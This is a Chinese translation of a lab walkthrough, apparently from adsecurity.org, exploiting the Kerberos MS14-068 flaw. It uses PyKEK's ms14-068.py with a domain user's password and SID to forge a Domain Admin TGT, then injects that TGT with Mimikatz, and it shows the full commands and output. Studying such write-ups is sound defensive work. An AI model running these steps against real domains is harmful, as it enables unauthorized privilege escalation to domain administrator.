原文地址:http://adsecurity.org/?p=676
Kerberos漏洞允许攻击者提权域用户成为管理员账户。攻击者可以使用这些权限来访问域中任何机器,包含DC。攻击者必须有一个域口令来进行这种攻击
本文使用MS14-068成功攻击Server 2012 和 2012/R2但是未能成功攻击2008 R2 DC
开始攻击
攻击账户为
[email protected],该账户属于域用户和工作站组。假定该用户是网络中授权用户,以及希望获得域管理员权限来进行恶意行为。用户已经获得域账户并且知道密码。
当攻击者获得某台电脑的域口令和本地管理员权限后,他可以利用PyKEK通过与DC进行标准通信来伪造一个TGT。
PyKEK ms14-068.py脚步需要下列信息来声称TGT:
引用
Principal Name (UPN) [-u]:
[email protected]
Password [-p]: TheEmperor99!
User Security IDentifier (SID) [-s]: S-1-5-21-1473643419-774954089-2222329127-1110
目标Domain Controller [-d]: adsdc02.lab.adsecurity.org
可以通过whoami命令来获得SID
可以在powershell中运行下列命令获得:
[Security.Principal.WindowsIdentity]::GetCurrent( )
第一阶段--生成TGT
生成的TGT Kerberos票据保存在ccache文件中,然后可以使用Mimikatz copy到windows电脑中
引用
c:\Temp\pykek>ms14-068.py -u [email protected] -p TheEmperor99! -s S-1-5-21-1473643419-774954089-222232912
7-1110 -d adsdc02.lab.adsecurity.org
[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Building TGS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending TGS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Creating ccache file ‘
[email protected]’… Done!
接下来使用本地管理员权限登陆电脑来连接到目标DC。
whoami命令显示我是ADSWKWIN7电脑的管理员。
klist显示当前没有Kerberos票据。
PyKEK ms14-068.py脚本把生成的TGT保存到一个ccache文件中(c:\temp\pykek )
第二阶段--注入TGT获得TGS
使用Mimikatz 来注入
引用
c:\Temp\pykek>c:\temp\mimikatz\mimikatz.exe “kerberos::ptc c:\temp\
[email protected]” exit
.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (Nov 20 2014 01:35:45)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` (
[email protected] )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 15 modules * * */
mimikatz(commandline) # kerberos::ptc c:\temp\
[email protected]
Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 – rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket : 0x00000000 – null ; kvno = 2 […]
* Injecting ticket : OK
mimikatz(commandline) # exit
Bye!
因为我注入一个伪造(声明我是域管理员)的TGT到我的session中,所以当TGT传递到一个未patched的DC,ticket表明我是这些组的成员。